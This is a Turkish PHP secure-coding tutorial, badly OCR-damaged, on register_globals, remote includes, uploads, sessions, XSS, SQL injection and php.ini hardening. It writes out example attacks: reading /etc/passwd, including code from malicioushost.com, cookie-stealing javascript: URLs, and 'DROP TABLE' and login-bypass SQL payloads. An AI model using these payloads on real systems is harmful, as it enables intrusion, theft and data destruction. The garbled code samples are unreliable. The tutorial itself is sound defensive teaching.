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PHP ilkeleri

PHP (PHP: Hypertext Preprocessor icin 6zyineli (recursive) kisa ad) dinamik web
sayfalar1 olusturmak i¢in yaygin olarak kullanilan sunucu tarafli bir betik dilidir.
“Sunucu tarafli”, kodun istemciye gonderilmeden 6nce sunucu tarafinda yorumlandig
anlamina gelir. PHP kodu HTML kodu igine gomiiliir. Ogrenilmesi ve baglamas1 ¢ok
kolay olmasinin yaninda tecriibeli programcilar i¢in de gii¢lii bir aragtir. Ama
Ogrenilmesinin ¢ok kolay olmasi ve dzelliklerinin asir1 derecede fazla olmasi sadece
olumlu degildir, bu durum, bir ¢ok degisik saldirilara maruz kalabilen emniyetsiz
programlara da yol agabilir. Bu boliim, ¢cok yaygin saldirilan agiklamaya ve bunlara
kars1 kendimizi nasil koruyacagimizi agiklayacaktir.

PHP acik kaynak kodlu olup http://www.php.net/ adresinden bedava indirilebilir.

Global degigkenler

Fonksiyonlarin diginda tanimlanan degiskenler PHP tarafindan global olarak
degerlendirirler. Bunun tersi, yani bir degiskenin fonksiyonun icinde tanimlanmasi,
lokal fonksiyon kapsaminda degerlendirilir. PHP global degiskenleri C gibi dillerden
cok farkl bir sekilde degerlendirir. C’de, global degiskenler global kapsamda oldugu
kadar lokal kapsamlarda da (ayn1 adda baska bir degisken tarafindan gecersiz
kilinmadikga) kullanilabilirler. PHP’de isler farklidir; lokal kapsamda global bir
degiskene erismek icin degiskeni o kapsamda global olarak tanimlamaniz gerekir.
Asagidaki 6rnek bunu gosterir:

$sTitle = 'Page title'; // Global kapsam

function printTitle ()
{

global $sTitle; // DeJiskeni global olarak tanimla

echo $sTitle; // Simdi ona sanki lokal deJiskenmis gibi
erisebiliriz
}

PHP’deki biitiin degiskenler dolar isaretinden sonra gelen degisken isimleri ile

temsil edilirler. Isimlerde biiyiik-kiiciik harf ayrimi1 yapilir ve isimler bir harf veya
altcizgi isareti ile baslamak ve herhangi bir sayida harfler, rakamlar veya alt¢izgi

isareti ile devam etmek zorundadirlar.
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register_globals

register_globals direktifi PHP’de oturum degiskenleri ve karsidan yiiklenmis
dosyalar kadar, GET, POST ve COOKIE’den gelen girdileri de global degiskenler
olarak direk erisilir yapar. Sadece bu direktif, php.ini de belirtildiginde, web
uygulamalarindaki bir ¢ok acikligin sebebidir.

Simdi bir 6rnegi inceleyerek baglayalim:

if ($bIsAlwaysFalse)
{

// Bu asla calistirilmaz

SsFilename = 'somefile.php';

}

!/

if ( $sFilename != "' )

{
// $sFilename’i a¢ ve igeridini tarayiciya (browser) yolla
!/

}

Eger bu sayfayi register_globals kurulu olarak su sekilde ¢agirirsak:
page.php?sFilename=/etc/passwd asagidakini yazmakla ayni seyi yapmak olurdu:

$sFilename = '/etc/passwd'; // Bu, PHP tarafindan ig¢sel olarak

yvapilir

if ( S$bIsAlwaysFalse )

{ // Bu asla calistirilmaz
$sFilename = 'somefile.php';

}

//

if ( $sFilename != '' )

{
// $sFilename’i a¢ ve igeridini tarayiciya (browser) yolla

/...
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PHP $sFilename = '/etc/passwd'; boliimiinil bizim i¢in halleder. Bu su
anlama gelir, kot niyetli bir kullanici $sFilename i¢in kendi degerini enjekte edebilir
ve o anki giivenlik baglami altinda okunabilir her hangi bir dosyay1 gorebilirdi.

Iste bu, “peki ya su olursa” sorusunu kod yazarken her zaman diisiinmeliyiz.
Oyleyse, register_globals dzelligini kapatmak bir ¢oziim olabilir ama ya yazdigimiz
kod, register_globals 6zelligi acik olan bir sunucuda ¢alistirilirsa. Global kapsamdaki
her degiskenin kurcalanabilecegini aklimizda bulundurmaliyiz. Yukaridaki kod dogru
yazmanin yolu $sFilename’a her zaman bir deger atanmis olduguna emin olmak

olacaktir:

// $sFilename’1 bos bir dizgi ile ilklendiriyoruz (initialize)
SsFilename = '';
if ( $bIsAlwaysFalse ) {

// Bu asla calistirilmaz

$sFilename = 'somefile.php';

if ( $sFilename != "' ) {

// $sFilename’i ag¢ ve igeridini tarayiciya (browser) yolla

Diger bir ¢6ziim, global kapsamda olabildigince az kod bulundurmaktir. Nesne
tabanli programlama (OOP) dogru yapildiginda cok etkilidir ve bu yaklagimi
izlemenizi siddetle tavsiye ederim. Hemen hemen biitiin kodumuzu genellikle daha
giivenli ve tekrar kullanim1 saglayan siniflar i¢inde yazabiliriz. register_globals
ozelliginin kapali oldugunu varsaymamali oldugumuz gibi acik oldugunu da
varsaymamaliyiz. GET, POST, COOKIE ve benzerlerinden girdi almanin dogru yolu
PHP’ye 4.1.0 siirimii ile eklenen superglobal’leri kullanmaktir. Bunlar $_GET,
$_POST, $_ENV, $_SERVER, $§_COOKIE, $_REQUEST $_FILES, and
$_SESSION dizilimleridir (array). Bu dizilimler kapsamdan bagimsiz olarak her

zaman kullanilabilir olduklarindan superglobal’ler olarak adlandirilmislardir.

Include’lar ve Uzak dosyalar
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PHP fonksiyonlar1 include() ve require(), dosyalari icermek ve degerlendirmek
icin kolay bir yol saglarlar. Bir dosya icerildiginde, i¢erdigi kod, include komutunun
calistirildigr satirin degisken kapsamim kalitsal olarak alir. O satirdaki erisilebilir
biitiin degiskenler icerilen dosyada erisilebilir. Ve diger taraftan, icerilen dosyadaki
tanimlanan degiskenler, ¢cagiran sayfada o anki kapsamda erisilebilir olacaktir.
Icerilen dosya lokal bir bilgisayarda olmak zorunda degildir. Eger allow_url_fopen
degiskeni php.ini’de acilirsa icerilecek dosyayr URL kullanarak belirtebilirsiniz.

PHP dosyay1 lokal yol ismi yerine HTTP kullanarak getirecektir. Bu giizel bir
ozellik olmasina ragmen ayn1 zamanda biiyiik bir giivenlik riski de olabilir.

Not: allow_url_fopen direktifi varsayilan deger (default) olarak aciktir.

Yaygin yapilan bir hata her dosyanin direk olarak ¢agrilabilecegini, yani igerilmek
iizere yazilan bir dosyanin kotii niyetli bir kullanici tarafindan direk olarak

cagirilabilecegini diistinmemektir. Bir rnek:

/l file.php
$sIncludePath = '/inc/';
include($sIncludePath . 'functions.php");

/I functions.php
include($sIncludePath . 'datetime.php');
include($sIncludePath . 'filesystem.php');

Yukaridaki drnekte, functions.php direk olarak ¢agirilmak amaci ile
yazilmamuistir, 0yleyse $sIncludePath’e, ¢agiran sayfanin deger verecegini
varsaymaktadir. Bagka bir sunucuda (ve bu sunucuda PHP isleme 6zelligini
kapatarak) datetime.php veya filesystem.php isminde bir dosya olusturarak,
functions.php’1 su sekilde cagirabilirdik:

functions.php?sIncludePath=http://www.malicioushost.com/
PHP, datetime.php dosyasini diger sunucudan sorunsuz bir sekilde indirir ve

calistirir ki bu da kétii niyetli bir kullanicinin kendi belirledigi kodu functions.php

icerisinde calistirabilecegi anlamina gelir. Include’lar i¢inde include’lar tavsiye
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etmem (yukaridaki drnekte oldugu gibi). Fikrime gore bu durum, kodu anlamay1 ve
kodun gozden gecirilmesini zorlastirir. Simdi, yukaridaki kodu giivenli yapmak
istiyoruz ve bunu yapmak i¢in functions.php’in gercekten de file.php’den cagrildigina

emin olmaliy1z.

/I file.php
define('SECURITY_CHECK, true);
$sIncludePath = '/inc/';
include($sIncludePath . 'functions.php');

/I functions.php
if ( !defined('SECURITY_CHECK") ) {

// Hata mesaj1 goster ve ¢ik

}
include($sIncludePath . 'datetime.php');

include($sIncludePath . 'filesystem.php');

define() fonksiyonu bir sabit (constant) tanimlar. Sabitler dolar isareti ($) ile
baslamazlar ve bu nedenle bu durumu su sekilde bozamayiz:
functions.php?SECURITY_CHECK=1. Bu giinlerde pek yaygin olmamakla beraber
hala .inc uzantili PHP dosyalar ile karsilasabilirsiniz. Bu dosyalar sadece baska
dosyalar tarafindan icerilmek iizere tanimlanmislardir. Bir ¢ok zaman gozden
kacirilan nokta bu dosyalarin direk ¢agirildiklar: takdirde PHP 6nislemcisinden
gecmedigi ve boylece acgik olarak gonderildigidir. Tutarli olmali ve her zaman PHP
tarafindan calistirildigina emin oldugumuz bir uzanti ismini kullanmaliy1z. .php

uzantis1 Onerilmektedir.

Karsidan dosya yliklenmesi

PHP zengin 6zellikler ile dolu bir dildir ve kurulum ile gelen bir 6zelligi de
karsidan dosya yiiklemelerinin otomatik olarak halledilmesidir. Bir dosya, bir PHP
sayfasi tarafindan karsidan yiiklendiginde, otomatik olarak gecici bir dizine

kaydedilir. Karsidan yiiklenen dosyay1 aciklayan yeni global degiskenler sayfa icinde
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erigilir hale gelecektir. Kullaniciya karsidan yiikleme formu gosteren asagidaki

HTML kodunu diisiiniin:

"

<form action= “page.php method= “POST “ enctype= “multipart/form-

"

data “> <input type= “file name= “testfile “ />
<input type= “submit “ value= “Upload file “ />
</form>
Yukaridaki form gonderildiginde, page.php dosyasinda, “testfile” ismine gore

olusturulacak yeni degiskenler erisilir hale gelecektir.

Stestfile_type
// PHP tarafindan dederleri atanan dediskenler ve igerikleri
// PHP tarafindan olusturulan gecici bir yol/dosya_ismi. Bu, edJer

// hakkinda herhangi bir sey yapmayi sec¢mezsek, biz degistirene veya

PHP

// tarafindan silinene kadar dosyanin kaydedilecedi yerdir.
Stestfile

// Istemci sistemindeki dosyanin orjinal isim/yol’udur.
Stestfile_name

// Karsidan yiliklenen dosyanin bayt cinsinden biylUkligudir.
Stestfile_size

// Tarayicinin bu bilgiyi sadlamasi durumunda dosyanin mime tiUridir.

Ornek
// olarak: *“image/jpeg”.
Stestfile_type

Yaygin bir yontem, $testfile’in tanimli olup olmadigini kontrok etmek, ve eger
tanimliysa herhangi bir tarayici yolu ile erisilebilen, herkese acik bir dizine
kopyalamak gibi hemen dosya iizerinde ¢alismaya baslamaktir. Coktan tahmin etmis
olabileceginiz gibi, bu karsidan yiiklenmis dosyalar ile ugrasmanin en giivensiz
seklidir. stestfile degiskeni karsidan yiiklenen dosyaya yol/isim olmak zorunda
degildir. GET, POST ve COOKIE v.b. kaynaklarindan da gelebilir. K6tii niyetli bir
kullanict hi¢ de iyi sonug¢lanmayacak bir sekilde, bizi sunucu iizerindeki herhangi bir
dosya iizerinde ¢aligtirabilir. register_globals direktifi hakkinda hi¢ bir sey
varsaymamaliyiz, acik veya kapali olabilir, bizim i¢in 6nemli olan tek sey kodumuzun

bundan bagimsiz olarak ¢alisabilmesi ve en dnemlisi bundan bagimsiz olarak ayni



sekilde giivenli olabilmesidir. Oyleyse yapmamiz gereken ilk sey $_FILES dizilimini

kullanmak olmalidir:

// PHP tarafindan olusturulan gecgici dosya ismi
S_FILES['testfile']['tmp_name']

// PHP tarafindan olusturulan gec¢ici bir yol/dosya_ismi.

S_FILES['testfile']['name']

// Tarayicinin bu bilgiyi sadlamasi durumunda dosyanin mime tiridir.

Ornek

// olarak: *“image/jpeg”.

S_FILES['testfile']['type']

// Karsidan yiliklenen dosyanin bayt cinsinden biylkligudir.
S _FILES['testfile']['size']

Yerlesik (built-in) fonksiyonlar is_uploaded_file () ve/veya
move_uploaded_file (), dosyanin gercekten HTTP POST ile karsidan yiiklendigine
emin olmak i¢in $_FILES['testfile'] ['tmp_name'] ile birlikte kullanilmalidirlar.
Asagidaki ornek, karsidan yiiklenen dosyalar ile ugrasmanin kesin bir yontemini

gosterir:

if ( is_uploaded_file($_FILES['testfile']['tmp_name']) ) {

// dosyanin boyutunun bekledidimiz biiyliklikte olup olmadigini kontrol
et

// (opsiyonel)
if ( $_FILES['sImageData']['size'] > 102400 ) {

// Blylklik 100KB’den biuyik olamaz, hata mesaji yaz ve ¢ik.

// Dosya isminin ve uzantisinin gegerlilidini orjinal isme ve

// $_FILES['testfile']['name']’e gdre denetle

// mesela, hi¢ kimsenin .php uzantili dosyalari karsidan yiklemesini
// istemiyoruz

// Simdiye kadar hersey iyi, dosyayi move_uploaded_file ile tasi
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Not: superglobals dizilimlerindeki bir degiskene erismeden Once herzaman isset()
komutu ile kontrol etmeliyiz. Yukaridaki 6rneklerde bunu yapmadim ciinkii 6rnekleri

en basit sekilde tutmak istedim.

Oturumlar

PHP’deki oturumlar, kullanicilara 6zel degiskenlerini veya “durumlarimi”, takip
eden HTTP istekleri boyunca kaydetmeye yarayan bir yoldur. Bu, tarayicinin her yeni
istekte yollayacagi biricik (unique) bir oturum bilgisini (session id) yollamasi ile
basarilir. Oturum, tarayici her yeni istekte oturum bilgisini yolladik¢a ve istekler
arasinda ¢cok zaman farki olmadikca hayatta kalir. Oturum bilgisi genellikle bir cookie
olarak gerceklenir ama URL icinde bir deger de olabilir. Oturum degiskenleri, php.ini
tarafindan belirtilen bir dizine dosyalar olarak kaydedilirler. Bu dizindeki dosya
isimleri oturum bilgilerine gore verilir. Her dosya, o oturum i¢in degiskenlerini agik
olarak tutar. Once oturumlar ile calismanin eski ve giivensiz bir yolunu inceleyecegiz;

ne yazik ki oturumlar ile bu sekilde calisma halen yaygin olarak kullanilmaktadir.

// first.php
// Oturum ydnetimini ilklendir.
session_start();
// Kullanicinin kimlidini denetle
if (..o0) |
SbIsAuthenticated = true;
} else {
SbIsAuthenticated = false;
}

// $bIsAuthenticated’i bir oturum dediskeni olarak kaydet

session_register ('bIsAuthenticated');

echo '<a href= “second.php “>To second page</a>"';

// second.php

// Oturum y®netimini ilklendir.

session_start();

// SbIsAuthenticated PHP tarafindan otomatik olarak olusturulur
if ( S$bIsAuthenticated ) {

// Hassas bilgileri gdster
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Bu neden giivensizdir? Giivensizdir ¢iinkii basit bir
second.php?blsAuthenticated=1 first.php’de kimlik dogrulama islemini atlatacaktir.
Eger session.auto_start direktifi php.ini dosyasinda acik ise (ki varsayilan deger
kapalidir), session_start() ortiilii olarak session_register() veya PHP tarafindan
cagirilacaktir. Ama tutarli olmak ve yapilandirma ayarlarina itimat etmemek icin onu
(session_start) herzaman kendimiz ¢agirmaliyiz. Oturumlar ile ¢calismanin 6nerilen

yolu:

// first.php
// Oturum ydnetimini ilklendir.
session_start();

// Kullanicinin kimligini denetle

if (... ) |
S_SESSION|['bIsAuthenticated'] = true;
} else {
S_SESSION|['bIsAuthenticated'] = false;

}

echo '<a href= “second.php”>To second page</a>"';
// second.php

// Oturum ydnetimini ilklendir.

session_start();

if ($_SESSION|['bIsAuthenticated'] ) {

// Hassas bilgileri g&ster

Yukaridaki kod sadece daha giivenli degil, goriisiime gore, daha temiz ve
anlasilirdir. Not: Bir cok hizmeti beraber saglayan (multi host) sistemlerde, oturum
dosyalarinin oldugu dizini (tipik olarak /tmp) giivenli hale getirmeyi unutmayin,

yoksa kullanicilar diger siteler i¢in 6zel yapim oturum dosyalari olusturabilirler.
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Siteler étesi (arasi) betik calistirma (XSS)

PHP’de yazilmis bir konuk defteri (guest book) uygulamasi diisiiniin. Ziyaretciye
mesaj girebilecegi bir form gosterilir. Bu form daha sonra veriyi bir veritabanina
kaydeden bir sayfaya yollanir. Birisi konuk defterini gérmek istediginde, biitiin
mesajlar veritabanindan alinir ve tarayiciya yollanir. Veritabanindaki her mesaj icin

asagidaki kod calistirlir.

// $aRow SQL sorgusundan bir sirayi icerir
echo '<td>';

echo $aRow['sMessage'];

echo '</td>';

Bu forma girilen her seyin degistirilmeden her ziyaret¢inin tarayicisina
gonderildigi anlamina gelir. Bu neden bir problemdir? Birisinin sayfanin
bicimlenmesini bozacak < veya > karakterlerini gonderdigini diisiiniin. Eger yapilan
bununla kalsa kendimizi sansh saymaliy1z. Bu durum, sayfay1 JavaScript, HTML,
VBScript, Flash, ActiveX v.b. enjekte etmek gibi saldirilara karsi apagik birakir.
Koétii niyetli bir kullanici bunu yeni formlar gostererek kullanicilar: hassas bilgilerini
yollamalari igin kullanabilir. Istenmeyen reklamlar siteye eklenebilir. Bir ¢ok
tarayicida cogu oturum bilgilerinin tutuldugu cookie’ler okunabilir ve boylece bu
durum oturum korsanligina kadar gidebilir.

Burda yapmak istedigimiz sey HTML i¢in 6zel anlam ifade eden karakterleri
HTML 6gelerine ¢evirmektir. Sansimiza PHP tam da bunu yapmak i¢in bir fonksiyon
saglar. Bu fonksiyonun adi1 htmlspecialchars()’dir ve “, &, < ve > karakterlerini
&amp; “ &lt; ve &gt; dizgilerine ¢evirir. (PHP, HTML varlik esleri olan biitiin
karakterleri ceviren htmlentities() isminde bir fonksiyona sahiptir ama
htmlspecialchars ihtiyaclarimizi tam olarak karsilar.)

// Yukaridakini yapmanin dodru yolu:

echo '<td>';

echo htmlspecialchars($aRow|['sMessage']);
echo '</td>';

Neden bu isi mesaji veritabanina kaydederken yapmadigimiz merak edilebilir. Bu,
derde davetiye ¢ikarmaktir ¢iinkii o durumda biitiin degiskenlerdeki degerlerin nerden

geldiklerinin kaydin tutup ve GET, POST tan gelen girdilere veritabanindan



€ ©owas

aldigimiz verilerden daha farkl bir sekilde davranmamiz gerekir. Tutarli olmak ve
veri iizerinde, tarayiciya gondermeden hemen 6nce htmlspecialchars() fonksiyonunu
cagirmak daha iyidir. Bu filtrelenmeyen biitiin girdilere, tarayiciya gonderilmeden

once yapilmalidir.

Neden htmlispecialchars her zaman yeterli degildir
Asagidaki koda bakalim:

// Bu sayfa su sekilde cadrilmak ilizere tasarlanmistir:
// page.php?sImage=filename. jpg

78]

echo '<img src= htmlspecialchars($_GET['sImage']) . '” />';
Yukaridaki kod htmlspecialchars olmadan bizi tamamen XSS saldirilarina karsi
acik birakir ama htmlspecialchars neden yeterli degildir?
Zaten HTML etiketi icerisinde oldugumuzdan kotii amacli kod enjekte etmek icin

< veya > karakterlerine ihtiyacimiz yoktur. Asagidakine bakalim:

// Sayfayi ¢agirma seklimizi dedistirelim:
// page.php?sImage=javascript:alert (document.cookie);
// Oncekiyle ayni kod:

78]

echo '<img src= htmlspecialchars ($_GET['sImage']) . '” />'; <!—
Yukaridaki su sonuca ulastirir:
——> <img src= “javascript:alert (document.cookie);” />
“Javascript:alert (document.cookie);” bir degisiklige ugramadan
htmlspecialchars’dan gecer. Hatta bazi1 karakterleri HTML sayisal karakter
referanslar ile degistirsek bile asagidaki kod bazi tarayicilarda calisacaktir.
<!-— Bu bazi tarayicilarda calisacaktir: —--—>
<img src= “javascripté&#58;alert&#40;document.cookie&#4l;;” />
Bu durumda giivenli kabul ettigimiz girdiler disinda diger girdileri almamaktan
baska ¢6ziim yoktur. Kotii girdileri filtrelemeye ¢alismak zordur ve her zaman
biseyleri gbzden kagiririz.
// sadece emniyetli olarak bildigimiz girdileri kabul ederiz.
// (bu durumda gecerli bir dosya ismi)
if ( preg_match('/"[0-9a-z_]+\.[a-z]+$/1"', S$_GET['sImage']) ) {

echo '<img src="' . $_GET['sImage'] . '" />;';
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SQL Enjeksiyonu

SQL enjeksiyonu terimi, varolan bir SQL sorgusuna komut enjekte etmeyi
aciklamakta kullanilir. Yapilandirilmis (Bi¢imli) Sorgu Dili (Structured Query
Language -SQL-) MySQL, MS SQL ve Oracle gibi veritabani sunuculari ile
etkilesimde (iletisimde) kullanilan s6zel bir dildir.

$iThreadId = $_POST['iThreadId'];
// SQL sorgusunu olustur

$sSql = “SELECT sTitle FROM threads WHERE iThreadId = “
$iThreadId;

Yukanidaki koddaki problemi anlamak i¢in, asagidaki HTML koduna bakalim:
<form method=“post” action="insecure.php”>

<input type="text” name="1Threadld” value="4; DROP TABLE users” />

<input type="“submit” value="Buraya tiklama” />
</form>
Yukaridaki formu giivensiz sayfamiza yolladigimizda, veritabani sunucusuna
gonderilecek dizgi hi¢ de iyi sonuclanmayacak sekilde asagidaki gibi goziikecektir:
SELECT sTitle FROM threads WHERE iThreadId = 4; DROP TABLE users
Bazilar veritabam sunucusuna gore degisen, bu sekildeki SQL komutlart
eklemenin bir¢ok yolu vardir. Bunu daha da ileri gotiiriirsek, asagidaki koda PHP
uygulamalarinda yaygin olarak rastlanir:
$sSgl = “SELECT iUserId FROM users”
“ WHERE sUsername = '“
S_POST['sUsername']
“' AND sPassword = '“

$_POST['sPassword'] . “'“;

Burada kullanict adi (username) yerine “theusername'--" veya sifre (password)
yerine ' OR " ="’ (¢ift tirnaklar1 kullanmadan) girip sifre boliimiinii atlayabiliriz, bu
su sekilde sonuglanir:

// Not: —-— MS SQL’de satir yorumudur ve bu karakterlerden sonra gelen
// hersey atlanair

SELECT iUserId FROM users WHERE sUsername = 'theusername'--' AND

sPassword = "'

// Veya:
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SELECT iUserId FROM users WHERE sUsername = 'theusername' AND

sPassword = '' OR '' = ''

Iste burda girdi gecerliligi denetlemesi giin yiiziine ¢ikar. Yukaridaki ilk 6rnekte
SQL sorgusuna eklemeden 6nce $iThreadld’nin gercekten bir say1 oldugunu control
etmeliyiz.
if ( !'is_numeric($iThreadId) ) {

// Sayi dedil, hata mesaji gdster ve cik.

Ikinci 6rnek, PHP nin, acik oldugunda bu durumu 6nleyen bir 6zelligi oldugundan
biraz daha dikkat ister. Bu, benim goriisiimce register_globals gibi aslinda PHP’nin
hi¢c icermemis olmasi gereken magic_quotes_gpc direktifidir. Birazdan nedenini
aciklayacagim. Bir dizgide ' gibi karakterlerin olmasi i¢in kagis karakterleri
kullanmamiz gerekir. Bu veritabani sunucusuna bagh olarak degisir.

// MySQL:

SELECT iUserId FROM users WHERE sUsername = 'theusername\'—--' AND

sPassword = "'

// MS SQL Server: SELECT iUserId FROM users WHERE sUsername =

'theusername''--"' AND sPassword = "'

Simdi, a¢ik oldugunda magic_quotes_gpc, GET, POST ve COOKIE (gpc)’den
gelen biitiin girdilere kagis karakterlerini ekler. Bu da ilk 6rnekte oldugu gibi ters egik
cizgi (\) ile yapilir. Yani bir forma “theusername'--" girip yolladiginizda,
$_POST['sUsername'], veritabani sunucusu destekledigi siirece (MS SQL Sunucu
desteklemez) SQL sorgusuna giivenli bir sekilde gonderilebilecek “theusername\'--”
degerini icerecektir. Bu ilk problemdir. Ikinci problem SQL sorgusu olusturmadiginiz
zaman bu ters egik cizgileri (\) kaldirmanmiz gerektigidir. Genel bir kural,
magic_quotes_gpc’in agik olup olmadigina bagh olmadan, kodumuzun ¢aligmasidir.

Asagidaki kod ikinci 6rnege bir ¢oziimdiir:

// Eger magic_quotes_gpc ag¢iksa, GET, POST and COOKIE’den ters egdik

¢izgileri
// sil
if (get_magic_quotes_gpc()) |

// GET
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if (is_array(S_GET)) {
// GET diziliminde gez
foreach (S$_GET as $key => $value) {

$_GET[Skey] = stripslashes($value);

}
// POST
if (is_array ($_POST)) {
// POST diziliminde gez
foreach ($_POST as S$key => $value) {

$_POST[Skey] = stripslashes($value);

}
// COOKIE
if (is_array($_COOKIE)) {
// COOKIE diziliminde gez
foreach ($_COOKIE as S$key => $value) {

$S_COOKIE [Skey] = stripslashes($Svalue);

function sglEncode ($sText)
{
Sretval = '';
if (SbIsMySqgl) {
Sretval = addslashes ($sText);
} else {
// Sunucu MS SQL mi?
Sretval = str_replace("'", "''", S$sText);
}

return S$retval;

$SsUsername = $_POST|['sUsername'];
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SsPassword = $_POST['sPassword'];

$sSgl = "SELECT iUserId FROM users ".

" WHERE sUsername = '" . sqglEncode ($sUsername)
mrn .

" AND sPassword = '". sglEncode ($sPassword)."'";

Tercihen if komutunu ve sqlEncode fonksiyonunu bir include’un i¢ine koyariz.
Eger betiklerimizi saldirilara agik birakirsak, tahmin edebileceginiz gibi kotii niyetli
bir kullanic1 benim burada gosterdiklerimden daha fazlasim yapabilir. Yukarida
acikladigim acikliklardan dolayi biitiin veritabaninin alindigi (¢alindigi) 6rnekler

gordiim.

Code Enjeksiyonu
¢ include() and require() - Includes and evaluates a file as PHP code.
¢ include() ve require() - bir dosyay1r PHP kodu olarak icerir ve degerlendirir.
e eval() - Evaluates a string as PHP code.
e eval() — bir dizgiyi PHP olarak kodu olarak degerlendirir.

e preg_replace() - The /e modifier makes this function treat the replacement
parameter as PHP code.
e preg_replace() - /e degistiricisi (modifier), bu fonksiyonun degistirilen

parametreyi PHP kodu olarak degerlendirmesini saglar.
Command injection

Komut Enjeksiyonu

exec(), passthru(), system(), popen() ve ters centik isareti (*) - girdilerini kabuk
(shell) komutu olarak calistirir.

Bu fonksiyonlara kullanict girdilerini verirken, kotii niyetli kullanicilarin keyfi
komut ¢alistirmalarina engel olmaliyiz. PHP’nin, bu amag i¢in iki fonksiyonu vardir;

escapeshellarg() ve escapeshellecmd().

Yapilandirma ayarlari

register_globals
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Acik oldugunda, PHP get, post ve cookie’den gelen biitiin kullanic1 girdilerinden
global degiskenler olusturur. Eger miimkiinse bu direktifi kesinlikle kapatmalisimz.
Ne yazik ki, bu 6zelligi kullanan o kadar ¢ok kod vardir ki, eger bundan
kurtulabilirseniz sanslisiniz.

Onerilen: off

safe_mode

PHP giivenli modu, PHP betikleri i¢in bir grup kisitlamalar icerir ve bu sekilde
paylasilan bir sunucu ortaminda giivenligi gercekten arttirabilir. Bu kisitlamalardan
bir kacini belirtmek gerekirse: Bir betik, dosyalara ve dizinlere ancak eristigi
kaynagin sahibi ile ayni sahibi paylasiyorsa erisebilir veya degistirebilir. Ters centik
isareti gibi baz1 fonksiyonlar ve operatorler tamamen kapatilabilir veya kisitlanabilir.

disable_functions

Bu direktif se¢tigimiz fonksiyonlar1 kapatmakta kullanilabilir.

open_basedir

PHP’yi, sadece burda belirtilen dizindeki ve alt dizinlerdeki dosyalarda islem
yapmast icin kisitlar.

allow_url_fopen

Bu secenek ac¢ik oldugunda PHP, include ve fopen gibi fonksiyonlarda uzaktan
dosyalar kullanarak islem yapabilir.

Onerilen: off

error_reporting

Olabildigince anlasilir (temiz) kod yazmak ve bunun i¢in PHP’nin biitiin uyarilar
bize belirtmesini isteriz.

Onerilen: E_ALL

log_errors

Biitiin hatalar1 php.ini’de belirtilen yere kaydeder.

Onerilen: on

display_errors

Bu direktifin acik olmasi ile, betiklerin calistiklar sirada olusacak
(error_reporting de belirtilen tiirdeki) biitiin hatalar tarayiciya gonderilecektir. Bu
durum, gelistirme ortaminda istenen bir 6zelliktir. Ama iiretim ortaminda bu 6zellik,
kodumuz, veritabanimiz veya web sunucumuz hakkindaki hassas bilgileri aciga
cikaracagindan istenen bir 6zellik degildir.

Onerilen: off (iiretim ortami), on (gelistirme ortami)
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magic_quotes_gpc

post, get ve cookie’den gelen biitiin girdilere degistirme karakterlerini uygular. Bu
aslinda bizim halletmemiz gereken bir davranistir.

Bu aynm1 zamanda magic_quotes_runtime icin de gecerlidir.

Onerilen: off

post_max_size, upload_max_filesize and memory_limit

Bu direktifler, kaynak eksiklikleri (resource starvation) riskini azaltmak i¢in

mantikl bir seviyeye ¢ekilmelidir.

Onerilen uygulamalar (aliskanliklar)

Cift tirnaga karsi tek tirnak
// Cift tairnaklar:
$sSql = “SELECT iUserId FROM users WHERE sName = 'John Doe'”;
// Tek tirnaklar:
echo '<td width="100"></td>";

Genel bir kural olarak sql komutlarinda ¢ift tirnak, ve diger biitiin durumlarda tek
tirnak kullanin.

short_open_tag’a giivenmeyin

short_open_tag acik oldugunda PHP nin agik etiketlerinin kisa bicimlerinin
kullanilmasim saglar. Yani <?php 7> yerine <? 7>. register_globals gibi bu
ozelliginde acik olabilecegini asla varsaymamalisiniz.

Dizgilerin pes pese baglanmasi (birlestirilmesi).

$sOutput = 'Hello ' . $sName; // Boyle degil: $sOutput = “Hello

$sName”;

Bu okunabilirligi arttirir ve daha az hata iiretir.

Kodunuza yorum ekleyin.

Ne kadar basit goriinse de herzaman kodunuza yorum eklemeye calisin ve
(duruma gore) Ingilizce kullanmay1 unutmayin.

Karmasik kodlar her zaman engellenmelidir.

Eger kendi yazdiginiz kodu anlamakta zorlaniyorsaniz bir de diger insanlarin
neler ¢ekebilecegini diisiiniin. Yorumlar yardimci olabilir ama her zaman ise
yaramayabilir, o halde kodunuzu tekrar yazin!

Isimlendirme Uzlasimlari (Adetleri)
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Degisken isimleri kiigiik harfler ile baslayacak sekilde kiiciik ve biiyiik harflerden

olusmalidirlar.
$sName, $iSizeOfBorder // string, integer

Bu bir degiskene bakip hemen ne icerdigini anlamamzi cok kolaylastirir. Iste size

yaygin On ekler:
® a Array
®* b bool
e d double
o f float
* iint
e | long
® s string

g_ global (normal bir 6n ekten sonra)

Boolean degiskenleri 6n ek b’den sonra is, has, can veya should kelimelerini
kullanmalidirlar.
SbIsActive, S$bHasOwner

Bu ayn1 zamanda boolean geri dondiiren fonksiyonlar i¢in de gecerlidir, ama b 6n
eki olmadan, mesela:
$user—>hasEmail();

Olumsuz boolean degisken isimlerinin kullanimindan kacimilmahdir
var S$blIsActive;
// BOyle dedil: S$bIsNotActive var S$bHasId;
// Bdyle dedil: S$bHasNoId

Asagidaki kodun olarak ne yaptig1 hemen netlesmez:

if ( !'SbIsNotActive ) {

Obje degiskenleri tamamen kiiciik harflerden olusmali ve, o veya obj 6n
eklerini kullanmahdirlar

$session, $page // tercihen $oSession $objPage

Tamamen kii¢iik harflerden olugsmasi burda tercih nedenidir ama dnemli olan

tutarli olmaktir.
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Sabitler tamamen biiyiik harflerden olusmalhidirlar ve icerdigi kelimeleri
ayirmak icin alt cizgi kullanmalhidir
$SESSION_TIMEOUT, $BACKGROUND_COLOR, $PATH

Ama genel olarak bu tiir sabitlerin kullanimi en aza indirilmeli ve gerektigi
takdirde fonksiyonlar ile degistirmelidirler.

Fonksiyon isimleri bir fiil ile baslamali ve kiiciik harfle baslayacak sekilde
biiyiik/kiiciik harflerden olusmahdirlar
validateUser (), fetchArray()

Isim icerisinde kullamlacaklarsa, kisaltmalar biiyiik harflerden
olusmamahdirlar
$sHtmlOutput
// Bbdyle degil:
$sHTMLOutput
getPhpInfo ()
// Bbdyle degil:
getPHPInfo ()

Baz (temel) isimler i¢in tamamen biiyiik harfler kullanmak yukarida verilen
isimlendirme adetleri ile ters diisecektir.

SQL anahtar kelimeleri tamamen biiyiik harflerden olusmahdir
SELECT TOP 10 sUsername, sName FROM users

Bu SQL sorgusunu anlamay1 ¢ok daha kolaylastirir.

Ozel (private) simf degiskenleri son ek olarak alt cizgiyi kullanmahdirlar
class MyClass

{

var $sName_ ;

